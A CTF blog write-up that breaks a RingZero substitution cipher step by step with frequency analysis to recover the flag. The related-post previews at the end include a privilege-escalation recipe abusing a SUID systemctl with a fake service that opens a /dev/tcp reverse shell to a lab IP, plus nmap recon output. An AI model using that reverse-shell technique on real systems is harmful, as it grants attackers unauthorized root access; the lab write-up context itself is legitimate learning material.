Skip to main content

RingZero CTF - Cyrptography - You're Drunk

RingZero CTF - Cyptography - Your're Drunk


Problem:

Ayowe awxewr nwaalfw die tiy rgw fklf ua xgixiklrw! Tiy lew qwkxinw.

Solution:

So just looking at this one it looks like its formatted as a sentence. There is spacing between words, punctuation and capitalization.

At fist I thought Cesar cipher, but I ran through some shifts and none of them came back with english words.

So then I though substitution cipher.

We know from frequency analysis of the English language some good starting points.

The most common letter would be "E"

The most common double letters would be "OO", "EE" and"SS"  so let start with that and see what we can come up with

This site is a great resource for some of the assumptions I'm making here (http://practicalcryptography.com/ciphers/monoalphabetic-substitution-category/simple-substitution/)


I used this website to count the letter frequency for me
(https://www.dcode.fr/frequency-analysis)

↑↓↑↓
W10
I6
A5
X4
L4
E4
R3
Y3
F3
K3
N2
T2
G2
D1
O1
U1
Q1
#17
Total (Σ)55


So W is the most common letter in the cipher by far so let's start off assuming that a "W" is actually and "E"

I used this website to help me visualize my assumptions

https://www.simonsingh.net/The_Black_Chamber/substitutioncrackingtool.html

***E* *E**E* *E****E *** *** **E **** ** ********E *** **E *E****E


There are multiple appearnces of a three letter word in the cipher "TIY" it shows up twice so we can assume its a very common three letter word like "the" or "you"

"you" seems to fit better for our cipher "the" puts some h's in places that would not be common english words.

*U*E* *E**E* *E****E *O* YOU **E **** ** **O*O***E YOU **E *E**O*E

now we have a couple of other three letter words to focus on.

We have still in the cipher "DIE" and right now we have it showing "*o*"

there aren't two many three letter words with o in the middle lets try some 


the one that sticks out most to me right now is "FOR" lets plug that in and see what we can gleem

*U*ER *E*RE* *E****E FOR YOU **E **** ** **O*O***E YOU *RE *E**O*E

Oooh that doesn't look like it makes any crazy combinations left that won't work for words

now we have another three letter cipher word "LEW" which we have as "*RE" right now let's try an A for L

*U*ER *E*RE* *E**A*E FOR YOU **E **A* ** **O*O*A*E YOU ARE *E**O*E

again that gets use closer I didn't look to destroy any other possibilities left on the board

ok lets look at the double letters now

There is only one double in the cipher AA which is in "NWAALFW" which we have solved for "*E**A*E" at this point. The Double vowels doesn't seem promising since its already surrounded by vowels in our solve lets try "SS"

SU*ER SE*RE* *ESSA*E FOR YOU **E **A* *S **O*O*A*E YOU ARE *E**O*E

Now were are getting close to just solving the puzzle based on have this letters solved for.

for example the first word in cipher is "AYOWE" which we have solved for "SU*ER" right now.

not a whole lot of words would work there lets drop a P in for the O and see what that does. "SUPER"

SUPER SE*RE* *ESSA*E FOR YOU **E **A* *S **O*O*A*E YOU ARE *E**O*E

Well there was only one instance of O in the cipher, so it didn't help a whole lot.

let's look at the third word "NWAALFW" which we have sovled for "*ESSA*E" I have a suspicion that the word is message 

SUPER SE*RE* MESSAGE FOR YOU **E G*AG *S **O*O*A*E YOU ARE *E**OME

so now we have Super ***** Message for you  solved, lets focus on that encrypted word there

the cipher is "AWXEWR" and we have it solved for "SE*RE* based on the known letters and the sentence we are building, here my guess is secret. "Super Secret Message for you"



lets plug those letters in X for C and R for T and see if that brings anything else up

SUPER SECRET MESSAGE FOR YOU T*E G*AG *S C*OCO*ATE YOU ARE *E*COME

it does bring up something pretty obvious, there is a three letter word that in cipher is "RGW" but we have it solved for T*E right now I bet its THE let's put in the H for G and see what comes up

SUPER SECRET MESSAGE FOR YOU THE G*AG *S CHOCO*ATE YOU ARE *E*COME

ok now on the last three words of the message right now we have solved for "you are *e*come.

looks a lot like welcome to me lets try it

SUPER SECRET MESSAGE FOR YOU THE GLAG *S CHOCOLATE YOU ARE WELCOME

That worked we now have the solve

Now the last two letter word is *s.... I pretty sure that is "is"


SUPER SECRET MESSAGE FOR YOU THE GLAG IS CHOCOLATE YOU ARE WELCOME

the decoder alphabet  is

A = S
D = F
E = R
F = G
G = H
I = O
K = L
L = A
N = M
O = P
Q = W
R = T
T= Y
W = E
X = C
Y = U


we don't know the other letters but they aren't included in the cipher so I really don't cared what they are



Ayowe awxewr nwaalfw die tiy rgw fklf ua xgixiklrw! Tiy lew qwkxinw.
Super Secret Message For you the glag is chocolate! you are welcome.


The misspelling of the word "Flag" as "Glag" definitely could have sent us down the wrong path during decryption but luckily the other context clues put us on the right path

the flag is chocolate













Comments

Popular posts from this blog

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics -  Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP  keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar